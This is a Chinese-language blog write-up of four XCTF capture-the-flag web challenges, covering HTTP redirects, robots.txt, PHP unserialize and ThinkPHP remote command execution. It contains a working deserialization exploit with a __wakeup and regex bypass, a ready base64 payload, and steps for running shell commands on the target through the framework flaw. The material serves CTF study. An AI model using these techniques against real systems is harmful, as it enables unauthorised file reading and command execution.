XCTF攻防世界_Web进阶区001

baby_web

在这里插入图片描述
在这里插入图片描述
(1)按照提示,初始界面想到index.php,再次请求index.php后仍是1.php(被重定向了)。F12打开开发者模式查看“网络”模块,查看返回包发现确实有index.php,并且其中的location参数被设置为了1.php,同时发现flag
在这里插入图片描述
(2)也可以访问index.php,用Burp抓包,在响应包中发现flag
在这里插入图片描述

在这里插入图片描述

Training-WWW-Robots

在这里插入图片描述
(1)根据题目,熟悉robots.txt,在URL后加上/robots.txt
在这里插入图片描述
(2)发现一个fl0g.php文件,在URL后加上fl0g.php访问,得到flag
在这里插入图片描述

Web_php_unserialize

(1)先是一段代码审计

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file;  //构造函数,对类的变量进行初始化
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
//魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
//正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

(2)审计完成之后,思路就很清晰了,对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了
在类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。
在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。

<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
    $this->file = $file;
    //$this->file1 = $file1;
}
function __destruct() {
    echo @highlight_file($this->file, true);
}
function __wakeup() {
    if ($this->file != 'index.php') {
        //the secret is in the fl4g.php
        $this->file = 'index.php';
    }
}
}
$a = new Demo("fl4g.php");
echo serialize($a)."\n";
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
echo base64_encode('O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}');

使用代码在线工具执行,https://tool.lu/coderunner/
在这里插入图片描述
修改之后,再进行base64加密,传参就可以了
index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
在这里插入图片描述

php_rce

在这里插入图片描述

(1)进入后发现是一个php框架,根据题目php-rce远程命令执行,在github上查一下这个版本有什么漏洞
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(2)发现有好几个版本,由于只知道是5.0,则随便输入一个试试,这里注意只从"?s"开始复制,"?s"之前的是靶场。
在这里插入图片描述
(3)得到进一步提示,为5.0.2版本,回到github找到5.0.2版本的再次复制,然后访问。发现可以进行远程命令执行。
在这里插入图片描述
(4)ls查看有没有什么提示信息,可用hackbar执行,或者直接在地址栏输入命令也可。这里注意要把原来最后一个"="后面的东西删掉再输入命令。
在这里插入图片描述
(5)ls后没有发现有用信息,接着查找上一级目录,直到发现flag
在这里插入图片描述
(6)然后输入查看命令 cat /flag即可看到flag
在这里插入图片描述
(7)也可以无需一级一级目录的找,使用命令find / -name flag,也可找到flag,然后cat /flag 就可以看到flag了。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值